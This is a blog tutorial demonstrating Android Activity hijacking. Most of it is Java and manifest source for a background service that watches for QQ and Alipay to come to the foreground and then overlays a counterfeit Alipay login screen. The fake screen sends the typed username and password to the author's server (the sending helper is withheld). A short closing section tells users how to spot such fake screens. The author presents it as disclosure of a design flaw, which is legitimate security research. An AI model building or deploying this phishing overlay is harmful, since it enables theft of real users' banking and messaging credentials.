1. Activity Scheduling Mechanism In the Android system, switching between different programs is basically seamless, and switching between them is nothing more than switching between Activities. The concept of Activity is equivalent to an interface for interacting with users. The scheduling of Activity is managed by AmS in the Android system. AmS is ActivityManagerService (Activity Management Service). When each application wants to start or stop a process, it must first report to AmS. When AmS receives a message to start or stop an Activity, it first updates the internal record and then notifies the corresponding process to run or stop the specified Activity. When a new Activity starts, the previous Activity stops, and these Activities are retained in an Activity history stack in the system. Every time an Activity starts, it is pushed to the top of the history stack and displayed on the phone. When the user presses the back button, the top Activity pops up, the previous Activity is restored, and the top of the stack points to the current Activity. 2. Android design flaws - Activity hijacking If you add a flag FLAG_ACTIVITY_NEW_TASK to an Activity when you start it, it will be placed on the top of the stack and presented to the user immediately. <img class="alignnone size-full wp-image-621" title="Activity hijacking demonstration document" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity hijacking-demonstration document.png" alt="" width="960" height="720" /> But this design has a flaw. What if this Activity is a disguised Activity used to steal accounts? In the Android system, programs can enumerate currently running processes without declaring other permissions. In this way, we can write a program to start a background service that continuously scans currently running processes. When the target process is found to be started, a disguised Activity is started. If this Activity is a login interface, the user's account and password can be obtained from it. 3. Example Below is the sample code. Code for AndroidManifest.xml file. - <? xml version = "1.0" encoding = "utf-8" ?>
- < manifest xmlns:android = "http://schemas.android.com/apk/res/android"
- package = "com.sinaapp.msdxblog.android.activityhijacking"
- android:versionCode = "1"
- android:versionName = "1.0" >
- < uses-sdk android:minSdkVersion = "4" />
- < uses-permission android:name = "android.permission.INTERNET" />
- < uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" />
- < application
- android:name = ".HijackingApplication"
- android:icon = "@drawable/icon"
- android:label = "@string/app_name" >
- < activity
- android:name = ".activity.HijackingActivity"
- android:theme = "@style/transparent"
- android:label = "@string/app_name" >
- <intent-filter>
- < action android:name = "android.intent.action.MAIN" />
- < category android:name = "android.intent.category.LAUNCHER" />
- </intent-filter>
- </ activity >
- < activity android:name = ".activity.sadstories.JokeActivity" />
- < activity android:name = ".activity.sadstories.QQStoryActivity" />
- < activity android:name = ".activity.sadstories.AlipayStoryActivity" />
- < receiver
- android:name = ".receiver.HijackingReceiver"
- android:enabled = "true"
- android:exported = "true" >
- <intent-filter>
- < action android:name = "android.intent.action.BOOT_COMPLETED" />
- </intent-filter>
- </ receiver >
- < service android:name = ".service.HijackingService" >
- </ service >
- </ application >
- </ manifest >
-
- In the above code, a service is declared to enumerate the currently running processes. If you do not want to start the system, you can even replace the receiver code and the line of code that declares the permission to start the system with < uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" /> Remove it, only the permission to access the network is needed (to send the obtained account and password), and there is no abnormality in the AndroidManifest file alone.
-
- The following is the code of a normal Activity. Here we just start the service used for Activity hijacking. If the boot-up has been declared in the above code, this step can also be omitted.
- Java code Copy code Favorite code
-
- package com.sinaapp.msdxblog.android.activityhijacking.activity;
- import android.app.Activity;
- import android.content.Intent;
- import android.os.Bundle;
- import android.util.Log;
- import com.sinaapp.msdxblog.android.activityhijacking.R;
- import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
- public class HijackingActivity extends Activity {
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- Intent intent2 = new Intent(this, HijackingService.class);
- startService(intent2);
- Log.w("hijacking", "activity starts the service used for hijacking");
- }
- }
-
- If you want to start the service at boot, you need a receiver, that is, a broadcast receiver, to get the broadcast of boot at boot time and start the service here. If you don't start the service at boot (this must be implemented at least once with the above, otherwise the service will not be started), this step can be omitted.
- Java code Copy code Favorite code
-
- /*
- * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.receiver;
- import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.util.Log;
- /**
- * @author Geek_Soledad ([email protected])
- */
- public class HijackingReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
- Log.w("hijacking", "boot");
- Intent intent2 = new Intent(context, HijackingService.class);
- context.startService(intent2);
- Log.w("hijacking", "Starting the Service for hijacking");
- }
- }
- }
-
- The following HijackingService class is the key, which is used to hijack Activity.
- Here, the currently running processes will be enumerated, the target process will be found, and the disguised program will pop up.
- The code is as follows:
- Java code Copy code Favorite code
-
- /*
- * @(#)HijackingService.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.service;
- import java.util.HashMap;
- import java.util.List;
- import android.app.ActivityManager;
- import android.app.ActivityManager.RunningAppProcessInfo;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Handler;
- import android.os.IBinder;
- import android.util.Log;
- import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
- /**
- * @author Geek_Soledad ([email protected])
- */
- public class HijackingService extends Service {
- private boolean hasStart = false ;
- // This is a sad story...
- HashMap < String , Class <? > > mSadStories = new HashMap < String , Class <? > > ();
- // Timer mTimer = new Timer();
- Handler handler = new Handler();
- Runnable mTask = new Runnable() {
- @Override
- public void run() {
- ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
- List < RunningAppProcessInfo > appProcessInfos = activityManager
- .getRunningAppProcesses();
- // Enumerate the processes
- Log.w("hijacking", "enumerating processes");
- for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
- // If the app is in the foreground, then - a sad story is coming
- if ( appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
- if (mSadStories.containsKey(appProcessInfo.processName)) {
- // Hijack
- hijacking(appProcessInfo.processName);
- } else {
- Log.w("hijacking", appProcessInfo.processName);
- }
- }
- }
- handler.postDelayed(mTask, 1000);
- }
- /**
- * Conduct hijacking
- * @param processName
- */
- private void hijacking(String processName) {
- Log.w("hijacking", "Something is going to happen...");
- if (((HijackingApplication) getApplication())
- .hasProgressBeHijacked(processName) == false) {
- Log.w("hijacking", "tragedy is happening");
- Intent jackingIsComing = new Intent(getBaseContext(),
- mSadStories.get(processName));
- jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- getApplication().startActivity(jackingIsComing);
- ((HijackingApplication) getApplication())
- .addProgressHijacked(processName);
- Log.w("hijacking", "has been hijacked");
- }
- }
- };
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- @Override
- public void onStart(Intent intent, int startId) {
- super.onStart(intent, startId);
- if (!hasStart) {
- mSadStories.put("com.sinaapp.msdxblog.android.lol",
- JokeActivity.class);
- mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
- mSadStories.put("com.eg.android.AlipayGphone",
- AlipayStoryActivity.class);
- handler.postDelayed(mTask, 1000);
- hasStart = true ;
- }
- }
- @Override
- public boolean stopService(Intent name) {
- hasStart = false ;
- Log.w("hijacking", "hijacking service stopped");
- ((HijackingApplication) getApplication()).clearProgressHijacked();
- return super.stopService(name);
- }
- }
-
- The following is the disguise class of Alipay (I won’t write the layout file because it is a disguise of the old version of Alipay’s interface. The new Alipay login interface is completely different. The old version of Alipay’s interface is quite annoying. I spent the whole night reading the decompiled code from it but still couldn’t understand it. Its login interface has ten layers of annoyingly nested layouts, and I also annoyingly nested eight layers of components to achieve the same effect).
- Java code Copy code Favorite code
-
- /*
- * @(#)QQStoryActivity.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
- import android.app.Activity;
- import android.os.Bundle;
- import android.os.Handler;
- import android.os.HandlerThread;
- import android.text.Html;
- import android.view.View;
- import android.widget.Button;
- import android.widget.EditText;
- import android.widget.TextView;
- import com.sinaapp.msdxblog.android.activityhijacking.R;
- import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
- /**
- * @author Geek_Soledad ([email protected])
- */
- public class AlipayStoryActivity extends Activity {
- private EditText name;
- private EditText password;
- private Button mBtAlipay;
- private Button mBtTaobao;
- private Button mBtRegister;
- private TextView mTvFindpswd;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- this.setTheme(android.R.style.Theme_NoTitleBar);
- setContentView(R.layout.alipay);
- mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
- mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
- mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
- mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
- mTvFindpswd.setText(Html.fromHtml("[u]Retrieve login password[/u]"));
- mBtAlipay.setSelected(true);
- name = (EditText) findViewById(R.id.input_name);
- password = (EditText) findViewById(R.id.input_password);
- }
- public void onButtonClicked(View v) {
- switch (v.getId()) {
- case R.id.alipay_bt_login:
- HandlerThread handlerThread = new HandlerThread("send");
- handlerThread.start();
- new Handler(handlerThread.getLooper()).post(new Runnable() {
- @Override
- public void run() {
- // Send the obtained user password
- SendUtil.sendInfo(name.getText().toString(), password
- .getText().toString(), "Alipay");
- }
- });
- moveTaskToBack(true);
- break;
- case R.id.alipay_bt_alipay:
- chooseToAlipay();
- break;
- case R.id.alipay_bt_taobao:
- chooseToTaobao();
- break;
- default:
- break;
- }
- }
- private void chooseToAlipay() {
- mBtAlipay.setSelected(true);
- mBtTaobao.setSelected(false);
- name.setHint(R.string.alipay_name_alipay_hint);
- mTvFindpswd.setVisibility(View.VISIBLE);
- mBtRegister.setVisibility(View.VISIBLE);
- }
- private void chooseToTaobao() {
- mBtAlipay.setSelected(false);
- mBtTaobao.setSelected(true);
- name.setHint(R.string.alipay_name_taobao_hint);
- mTvFindpswd.setVisibility(View.GONE);
- mBtRegister.setVisibility(View.GONE);
- }
- }
The other codes above are mainly to make the click effect of the interface look as similar as possible to the real Alipay. The main code is the one that sends the user's password. As for SendUtil, I will not provide it. It sends an HTTP request to the server I wrote to send the user password. 4. User Prevention Here I will talk about the prevention method I found, which is very simple. This method is for users. Android phones all have a HOME button (the icon of a small house). Long press it to see recent tasks (a few days ago, I found a weird phone that actually had a short press button, and this button would pop up the MENU menu when long pressed. It was so weird). For the HTC G14 I use, the most recent one displayed is the last running program. The most recent one displayed by Xiaomi is the currently running program. Therefore, when you want to enter the password to log in, you can view recent tasks by long pressing the HOME button. Taking my phone as an example, if you long press the HOME button when logging in to QQ and find that QQ appears in the recent tasks, then my current login interface is very likely to be disguised. Switch to another program and then view the recent tasks to know which program this login interface comes from. If it is a Xiaomi phone, when logging in, if the first recent task you view is not the name of the program you want to log in, then it is disguised. Currently, there is no mobile phone anti-virus software that can actively prevent this kind of Activity hijacking. As far as I know, only this method I found can be used to identify it. If there is any new information, please join the discussion. |